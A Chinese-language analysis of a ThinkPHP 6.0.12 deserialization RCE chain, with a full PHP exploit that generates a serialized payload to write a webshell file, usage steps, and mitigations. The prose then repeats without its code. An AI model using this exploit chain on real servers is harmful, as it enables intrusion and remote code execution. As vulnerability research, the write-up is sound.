ThinkPHP6.0.12反序列化RCE挖掘
字数 1278 2025-08-27 12:33:31

ThinkPHP 6.0.12 反序列化 RCE 漏洞分析与利用

漏洞概述

本文详细分析 ThinkPHP 6.0.12 版本中存在的反序列化远程代码执行(RCE)漏洞。该漏洞通过精心构造的反序列化链,最终实现任意文件写入,从而达到远程代码执行的目的。

环境准备

  1. 使用 Composer 安装 ThinkPHP 6.0.12:

    composer create-project topthink/think=6.0.12 tp612
    
  2. 添加反序列化入口点(在实际应用中,需要找到或创建一个反序列化入口)

漏洞分析

漏洞链组成

该漏洞链由多个关键点组成,最终实现任意文件写入:

  1. 起点:利用 __destruct__wakeup 魔术方法作为反序列化入口
  2. 中间链:通过多个类的魔术方法和属性控制实现链式调用
  3. 终点:最终调用 file_put_contents 实现任意文件写入

关键调用链

think\Model\Pivot -> think\Model::__construct() -> think\route\Url::__construct() 
-> think\console\Output::__call() -> think\console\Output::block() 
-> think\console\Output::write() -> League\Flysystem\File::write() 
-> think\session\driver\File::write() -> think\session\driver\File::writeFile() 
-> file_put_contents()

关键类分析

1. think\console\Output 类

关键方法 __call

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return $this->block(...$args);
    }
    // ...
}

通过控制 $this->styles 可以调用 block 方法,进而调用 write 方法。

2. League\Flysystem\File 类

关键方法 write

public function write($content)
{
    $this->filesystem->write($this->path, $content);
    // ...
}

通过控制 $this->filesystem$this->path 可以调用任意类的 write 方法。

3. think\session\driver\File 类

关键方法 write

public function write($sessID, $sessData)
{
    if (!$this->config['data_compress']) {
        return $this->writeFile($this->getFileName($sessID), $sessData);
    }
    // ...
}

通过控制 $this->config['data_compress'] 为 false,可以绕过压缩直接调用 writeFile

关键方法 writeFile

protected function writeFile($path, $data)
{
    return file_put_contents($path, $data);
}

这是最终实现任意文件写入的关键点。

漏洞利用条件

  1. 存在反序列化入口
  2. 目标系统使用 ThinkPHP 6.0.12 版本
  3. 目标系统加载了相关类文件

漏洞利用

EXP 构造

完整 EXP 构造如下:

<?php
namespace think\model\concern {
    trait Attribute {
        private $data = ['huahua'];
    }
}

namespace think\view\driver {
    class Php {}
}

namespace think\session\driver {
    class File { }
}

namespace League\Flysystem {
    class File {
        protected $path;
        protected $filesystem;
        public function __construct($File){
            $this->path = 'huahua.php';
            $this->filesystem = $File;
        }
    }
}

namespace think\console {
    use League\Flysystem\File;
    class Output {
        protected $styles = [];
        private $handle;
        public function __construct($File){
            $this->styles[] = 'getDomainBind';
            $this->handle = new File($File);
        }
    }
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd, $File){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware, new console\Output($File), $cmd);
        }
    }
    class Middleware {
        public $request = 2333;
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {}
}

namespace think\route {
    class Url {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app, $route, $cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace {
    echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>', new think\session\driver\File)));
}

利用步骤

  1. 构造恶意序列化数据
  2. 找到或创建反序列化入口点
  3. 发送恶意序列化数据
  4. 服务器反序列化数据后会在根目录写入 sess_huahua.php 文件
  5. 访问写入的 webshell 文件执行任意代码

文件写入控制

通过控制以下参数可以自定义写入的文件和内容:

  1. League\Flysystem\File::$path - 控制写入的文件名
  2. think\Model\Pivot 构造函数的第一个参数 - 控制写入的文件内容
  3. think\session\driver\File 的配置可以控制写入路径

防御措施

  1. 升级 ThinkPHP 到最新版本
  2. 避免不可信数据的反序列化
  3. 使用 PHP 的 unserialize_callback_funcallowed_classes 限制反序列化的类
  4. 对用户输入进行严格过滤

总结

该漏洞通过精心构造的反序列化链,利用 ThinkPHP 6.0.12 中的多个类和方法,最终实现任意文件写入。漏洞利用需要满足特定条件,但一旦存在反序列化入口,攻击者可以完全控制服务器。开发者应当重视反序列化操作的安全性,采取适当的防御措施。

ThinkPHP 6.0.12 反序列化 RCE 漏洞分析与利用 漏洞概述 本文详细分析 ThinkPHP 6.0.12 版本中存在的反序列化远程代码执行(RCE)漏洞。该漏洞通过精心构造的反序列化链,最终实现任意文件写入,从而达到远程代码执行的目的。 环境准备 使用 Composer 安装 ThinkPHP 6.0.12: 添加反序列化入口点(在实际应用中,需要找到或创建一个反序列化入口) 漏洞分析 漏洞链组成 该漏洞链由多个关键点组成,最终实现任意文件写入: 起点 :利用 __destruct 或 __wakeup 魔术方法作为反序列化入口 中间链 :通过多个类的魔术方法和属性控制实现链式调用 终点 :最终调用 file_put_contents 实现任意文件写入 关键调用链 关键类分析 1. think\console\Output 类 关键方法 __call : 通过控制 $this->styles 可以调用 block 方法,进而调用 write 方法。 2. League\Flysystem\File 类 关键方法 write : 通过控制 $this->filesystem 和 $this->path 可以调用任意类的 write 方法。 3. think\session\driver\File 类 关键方法 write : 通过控制 $this->config['data_compress'] 为 false,可以绕过压缩直接调用 writeFile 。 关键方法 writeFile : 这是最终实现任意文件写入的关键点。 漏洞利用条件 存在反序列化入口 目标系统使用 ThinkPHP 6.0.12 版本 目标系统加载了相关类文件 漏洞利用 EXP 构造 完整 EXP 构造如下: 利用步骤 构造恶意序列化数据 找到或创建反序列化入口点 发送恶意序列化数据 服务器反序列化数据后会在根目录写入 sess_huahua.php 文件 访问写入的 webshell 文件执行任意代码 文件写入控制 通过控制以下参数可以自定义写入的文件和内容: League\Flysystem\File::$path - 控制写入的文件名 think\Model\Pivot 构造函数的第一个参数 - 控制写入的文件内容 think\session\driver\File 的配置可以控制写入路径 防御措施 升级 ThinkPHP 到最新版本 避免不可信数据的反序列化 使用 PHP 的 unserialize_callback_func 或 allowed_classes 限制反序列化的类 对用户输入进行严格过滤 总结 该漏洞通过精心构造的反序列化链,利用 ThinkPHP 6.0.12 中的多个类和方法,最终实现任意文件写入。漏洞利用需要满足特定条件,但一旦存在反序列化入口,攻击者可以完全控制服务器。开发者应当重视反序列化操作的安全性,采取适当的防御措施。